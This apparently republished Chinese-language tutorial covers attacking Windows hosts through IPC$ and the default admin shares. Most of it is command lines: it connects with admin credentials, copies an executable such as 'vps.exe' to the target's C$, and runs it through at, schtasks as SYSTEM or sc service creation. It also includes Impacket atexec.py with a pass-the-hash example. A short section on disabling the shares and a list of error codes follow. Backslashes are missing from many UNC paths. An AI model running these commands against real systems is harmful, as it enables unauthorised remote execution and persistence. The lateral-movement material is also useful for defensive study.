目錄
常見(jiàn)共享命令
IPC$
IPC$的利用條件
1:開(kāi)啟了139、445端口
2:目標(biāo)主機(jī)開(kāi)啟了IPC$共享
3:IPC連接報(bào)錯(cuò)
IPC空連接
空連接可以做什么?(毫無(wú)作用)
IPC$非空連接
IPC$非空連接可以做什么?
dir命令(查看文件和目錄)
tasklist命令(查看進(jìn)程)
at命令(計(jì)劃命令,可反彈shell)
schtasks(計(jì)劃任務(wù))
Impacket中的atexec.py
關(guān)閉IPC$共享及其他共享
IPC$連接失敗的原因及常見(jiàn)錯(cuò)誤號(hào)
連接失敗原因
常見(jiàn)錯(cuò)誤號(hào)
常見(jiàn)共享命令
net use #查看本機(jī)建立的連接(本機(jī)連接其他機(jī)器)
net session #查看本機(jī)建立的連接(其他機(jī)器連接的本機(jī)),需要administrator用戶執(zhí)行
net share #查看本地開(kāi)啟的共享
net share ipc$ #開(kāi)啟ipc$共享
net share ipc$ /del #刪除ipc$共享
net share admin$ /del #刪除admin$共享
net share c$ /del #刪除C盤共享
net share d$ /del #刪除D盤共享
net use * /del #刪除所有連接
net use \192.168.10.15 #與192.168.10.15建立ipc空連接
net use \192.168.10.15ipc$ #與192.168.10.15建立ipc空連接
net use \192.168.10.15ipc$ /u:"" "" #與192.168.10.15建立ipc空連接
net view \192.168.10.15 #查看遠(yuǎn)程主機(jī)開(kāi)啟的默認(rèn)共享
net use \192.168.10.15 /u:"administrator" "root" #以administrator身份與192.168.10.15建立ipc連接
net use \192.168.10.15 /del #刪除建立的ipc連接
net time \192.168.10.15 #查看該主機(jī)上的時(shí)間
net use \192.168.10.15c$ /u:"administrator" "root" #建立C盤共享
dir \192.168.10.15c$ #查看192.168.10.15C盤文件
dir \192.168.10.15c$user #查看192.168.10.15C盤文件下的user目錄
dir \192.168.10.15c$usertest.exe #查看192.168.10.15C盤文件下的user目錄下的test.exe文件
net use \192.168.10.15c$ /del #刪除該C盤共享連接
net use k: \192.168.10.15c$ /u:"administrator" "root" #將目標(biāo)C盤映射到本地K盤
net use k: /del #刪除該映射
IPC$
IPC$ (Internet Process Connection) 是共享“命名管道”的資源,它是為了讓進(jìn)程間通信而開(kāi)放的命名管道,通過(guò)提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換,從而實(shí)現(xiàn)對(duì)遠(yuǎn)程計(jì)算機(jī)的訪問(wèn)。IPC$是NT2000的一項(xiàng)新功能,它有一個(gè)特點(diǎn),即在同一時(shí)間內(nèi),兩個(gè)IP之間只允許建立一個(gè)連接。NT2000在提供了 IPC$ 共享功能的同時(shí),在初次安裝系統(tǒng)時(shí)還打開(kāi)了默認(rèn)共享,即所有的邏輯共享(C$、D$、E$……)和系統(tǒng)目錄共享(Admin$)。所有的這些初衷都是為了方便管理員的管理。但好的初衷并不一定有好的收效,一些別有用心者會(huì)利用IPC$,訪問(wèn)共享資源,導(dǎo)出用戶列表,并使用一些字典工具,進(jìn)行密碼探測(cè)。
為了配合IPC共享工作,windows操作系統(tǒng)(不包括Windows 98系列)在安裝完成后,自動(dòng)設(shè)置共享的目錄為:C盤、D盤、E盤、ADMIN目錄(C:Windows)等,即為ADMIN$、C$、D$、E$等,但要注意,這些共享是隱藏的,只有管理員能夠?qū)λ麄冞M(jìn)行遠(yuǎn)程操作。
輸入 net share 可以查看開(kāi)啟的共享。
輸入 net share 可以查看開(kāi)啟的共享。

所有的共享都依賴于139或445端口。
IPC$的利用條件
1:開(kāi)啟了139、445端口
首先我們來(lái)了解一些基礎(chǔ)知識(shí):
- SMB: (Server Message Block) Windows協(xié)議族,用于文件打印共享的服務(wù);
- NBT: (NETBIOS Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實(shí)現(xiàn)基于TCP/IP協(xié)議的NETBIOS網(wǎng)絡(luò)互聯(lián)。
- 在WindowsNT中SMB基于NBT實(shí)現(xiàn),即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT實(shí)現(xiàn),還可以直接通過(guò)445端口實(shí)現(xiàn)
對(duì)于win2000客戶端(發(fā)起端)來(lái)說(shuō):
- 如果在允許NBT的情況下連接服務(wù)器時(shí),客戶端會(huì)同時(shí)嘗試訪問(wèn)139和445端口,如果445端口有響應(yīng),那么就發(fā)送RST包給139端口斷開(kāi)連接,用455端口進(jìn)行會(huì)話,當(dāng)445端口無(wú)響應(yīng)時(shí),才使用139端口,如果兩個(gè)端口都沒(méi)有響應(yīng),則會(huì)話失敗;
- 如果在禁止NBT的情況下連接服務(wù)器時(shí),那么客戶端只會(huì)嘗試訪問(wèn)445端口,如果445端口無(wú)響應(yīng),那么會(huì)話失敗。
對(duì)于win2000服務(wù)器端來(lái)說(shuō):
- 如果允許NBT, 那么UDP端口137, 138, TCP 端口 139, 445將開(kāi)放(LISTENING);
- 如果禁止NBT,那么只有445端口開(kāi)放。
我們建立的IPC會(huì)話對(duì)端口的選擇同樣遵守以上原則。顯而易見(jiàn),如果遠(yuǎn)程服務(wù)器沒(méi)有監(jiān)聽(tīng)或端口,會(huì)話對(duì)端口的選擇同樣遵守以上原則。顯而易見(jiàn),如果遠(yuǎn)程服務(wù)器沒(méi)有監(jiān)聽(tīng)139或445端口,IPC會(huì)話是無(wú)法建立的。
2:目標(biāo)主機(jī)開(kāi)啟了IPC$共享
默認(rèn)共享是為了方便管理員進(jìn)行遠(yuǎn)程管理而默認(rèn)開(kāi)啟的,包括所有的邏輯盤(C$、D$等)和系統(tǒng)目錄 winnt 或 windows(admin$)以及IPC$。這些共享默認(rèn)是開(kāi)啟的。可以使用net share命令查看這些共享是否開(kāi)啟。
3:IPC連接報(bào)錯(cuò)
如果目標(biāo)主機(jī)沒(méi)有開(kāi)放139或445端口,我們?nèi)ナ褂肐PC$連接的話,會(huì)提示找不到網(wǎng)絡(luò)名。

IPC空連接
在介紹空會(huì)話之前,我們有必要了解一下一個(gè)安全會(huì)話是如何建立的。在Windows NT中,是使用 NTLM挑戰(zhàn)響應(yīng)機(jī)制認(rèn)證。傳送門——> NTLM認(rèn)證方式(工作組環(huán)境中)
空會(huì)話是在沒(méi)有信任的情況下與服務(wù)器建立的會(huì)話(即未提供用戶名與密碼)。那么建立空會(huì)話到底可以做什么呢?
利用IPC$,黑客甚至可以與目標(biāo)主機(jī)建立一個(gè)空的連接,而無(wú)需用戶名與密碼(當(dāng)然,對(duì)方機(jī)器必須開(kāi)了IPC$共享,否則你是連接不上的),而利用這個(gè)空的連接,連接者還可以得到目標(biāo)主機(jī)上的用戶列表(不過(guò)負(fù)責(zé)的管理員會(huì)禁止導(dǎo)出用戶列表的)。建立了一個(gè)空的連接后,黑客可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問(wèn)部分共享,如果黑客能夠以某一個(gè)具有一定權(quán)限的用戶身份登陸的話,那么就會(huì)得到相應(yīng)的權(quán)限。
建立IPC$空連接
建立IPC空連接
net use \192.168.10.15
或 net use \192.168.10.15 /u:"" ""
或 net use \192.168.10.15ipc$ /u:"" ""

空連接可以做什么?(毫無(wú)作用)
在Windows2003以后,空連接什么權(quán)限都沒(méi)有,也就是說(shuō)并沒(méi)有太大實(shí)質(zhì)的用處。有些主機(jī)的 Administrator 管理員的密碼為空,那么我們可以嘗試使用下面的命令進(jìn)行連接,但是大多數(shù)情況下服務(wù)器都阻止了使用空密碼進(jìn)行連接。

以前建立空會(huì)話可以獲取一些有用的信息,但是現(xiàn)在空會(huì)話的權(quán)限很低,訪問(wèn)都被拒了

IPC$非空連接
建立IPC$非空連接
net use \192.168.10.131 /u:"administrator" "密碼"

IPC$非空連接可以做什么?
- 使用管理員組內(nèi)用戶(administrator或其他管理員組內(nèi)用戶均可)建立IPC$連接,可以執(zhí)行以下所有命令。
- 使用普通用戶建立IPC$連接,僅能執(zhí)行查看時(shí)間命令:net time 192.168.10.131 ,其他命令均執(zhí)行不了。
dir命令(查看文件和目錄)

也可以直接在文件管理用命令:192.168.10.131c$ 查看對(duì)應(yīng)的文件及目錄,也可以增刪改查

tasklist命令(查看進(jìn)程)
tasklist /S 192.168.10.131 /U administrator -P 密碼

at命令(計(jì)劃命令,可反彈shell)
- 查看目標(biāo)系統(tǒng)時(shí)間:net time 192.168.10.131
- 將本目錄下的指定文件復(fù)制到目標(biāo)系統(tǒng)中:copy vps.exe 192.168.10.131c$
- 使用at創(chuàng)建計(jì)劃任務(wù):at 192.168.10.131 17:00:00 C:vps.exe
- 清除at記錄:at 192.168.10.131 作業(yè)ID /delete
- 使用at命令執(zhí)行,將執(zhí)行結(jié)果寫入本地文本文件,再使用type命令查看該文件的內(nèi)容:at 192.168.10.131 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
- 查看生成的1.txt文件:type 192.168.10.131C$1.txt


schtasks(計(jì)劃任務(wù))
Windows Vista、Windows Server 2008及之后版本的操作系統(tǒng)已經(jīng)棄用at命令,而轉(zhuǎn)為用schtasks命令。schtasks命令比 at 命令更靈活。在使用schtasks命令時(shí),會(huì)在系統(tǒng)中留下日志文件:C:WindowsTasksSchedLgU.txt
在目標(biāo)主機(jī)上創(chuàng)建一個(gè)名為test的計(jì)劃任務(wù),啟動(dòng)程序?yàn)镃:vps.exe,啟動(dòng)權(quán)限為system,啟動(dòng)時(shí)間為每隔一小時(shí)啟動(dòng)一次
schtasks /create /s 192.168.10.131 /tn test /sc HOURLY /mo 1 /tr c:vps.exe /ru system /f
其他啟動(dòng)時(shí)間參數(shù):
/sc onlogon 用戶登錄時(shí)啟動(dòng)
/sc onstart 系統(tǒng)啟動(dòng)時(shí)啟動(dòng)
/sc onidle 系統(tǒng)空閑時(shí)啟動(dòng)
查詢?cè)搕est計(jì)劃任務(wù)
schtasks /query | findstr test
啟動(dòng)該test計(jì)劃任務(wù)
schtasks /run /s 192.168.10.131 /i /tn "test"
刪除該test計(jì)劃任務(wù)
schtasks /delete /s 192.168.10.131 /tn "test" /f
sc命令創(chuàng)建計(jì)劃任務(wù)
copy test.exe \192.168.10.20c$
sc \192.168.10.20 create test binpath= "c:test.exe"
sc \192.168.10.20 start test
sc \192.168.10.20 del test




Impacket中的atexec.py
Impacket中的atexec.py腳本,就是利用定時(shí)任務(wù)獲取權(quán)限,該腳本的利用需要開(kāi)啟ipc$共享。這個(gè)腳本僅工作Windows>=Vista的系統(tǒng)上。這個(gè)樣例能夠通過(guò)任務(wù)計(jì)劃服務(wù)(Task Scheduler)來(lái)在目標(biāo)主機(jī)上實(shí)現(xiàn)命令執(zhí)行,并返回命令執(zhí)行后的輸出結(jié)果 。
./atexec.py xie/hack:x123456./@192.168.10.130 whoami
./atexec.py xie/hack:@192.168.10.130 whoami -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8

關(guān)閉IPC$共享及其他共享
既然ipc$有一定的危險(xiǎn)性,而且對(duì)于我們大多數(shù)人來(lái)說(shuō)是沒(méi)啥用的,所以我們執(zhí)行以下命令關(guān)閉共享
1、使用命令關(guān)閉:
net share ipc$ /delete 關(guān)閉ipc默認(rèn)共享
net share c$ /delete 關(guān)閉C盤默認(rèn)共享
net share admin$ /delete 關(guān)閉admin$默認(rèn)共享

2、修改注冊(cè)表關(guān)閉
限制IPC$缺省共享:
- HKEY_LOCAL_macHINE/SYSTEM/CurrentControlSet/Control/Lsa
- Name:restrictanonymous
- Type:REG_Dword
- Value:0x0(缺省) 0x1 匿名用戶無(wú)法列舉本機(jī)用戶列表 0x2 匿名用戶無(wú)法連接本機(jī)IPC$共享 說(shuō)明:不建議使用2,否則可能會(huì)造成你的一些服務(wù)無(wú)法啟動(dòng),如SQL Server。
IPC$連接失敗的原因及常見(jiàn)錯(cuò)誤號(hào)
連接失敗原因
- 用戶名或密碼錯(cuò)誤
- 目標(biāo)主機(jī)沒(méi)有開(kāi)啟IPC$共享
- 不能成功連接目標(biāo)主機(jī)的139、445端口
- 命令輸入錯(cuò)誤
常見(jiàn)錯(cuò)誤號(hào)
- 錯(cuò)誤號(hào)5:拒絕訪問(wèn)
- 錯(cuò)誤號(hào)51:Windows無(wú)法找到網(wǎng)絡(luò)路徑,及網(wǎng)絡(luò)中存在問(wèn)題
- 錯(cuò)誤號(hào)53:找不到網(wǎng)絡(luò)路徑,包括IP地址錯(cuò)誤、目標(biāo)未開(kāi)機(jī)、目標(biāo)的lanmanserver服務(wù)未啟動(dòng),目標(biāo)防火墻過(guò)濾了端口
- 錯(cuò)誤號(hào)67:找不到網(wǎng)絡(luò)名,包括 lanmanworkstation 服務(wù)未啟動(dòng),IPC$已被刪除
- 錯(cuò)誤號(hào)1219:提供的憑據(jù)與已存在的憑據(jù)集沖突。例如已經(jīng)和目標(biāo)建立了IPC$連接,需要在刪除后重新連接
- 錯(cuò)誤號(hào)1326:未知的用戶名或錯(cuò)誤的密碼
- 錯(cuò)誤號(hào)1792:試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒(méi)有啟動(dòng),包括目標(biāo)NetLogon服務(wù)未啟動(dòng)(連接域控制器時(shí)會(huì)出現(xiàn)此情況)
- 錯(cuò)誤號(hào)2242:此用戶的密碼已經(jīng)過(guò)期。
版權(quán)申明:內(nèi)容來(lái)源網(wǎng)絡(luò),版權(quán)歸原創(chuàng)者所有。除非無(wú)法確認(rèn),我們都會(huì)標(biāo)明作者及出處,如有侵權(quán)煩請(qǐng)告知,我們會(huì)立即刪除并表示歉意。謝謝!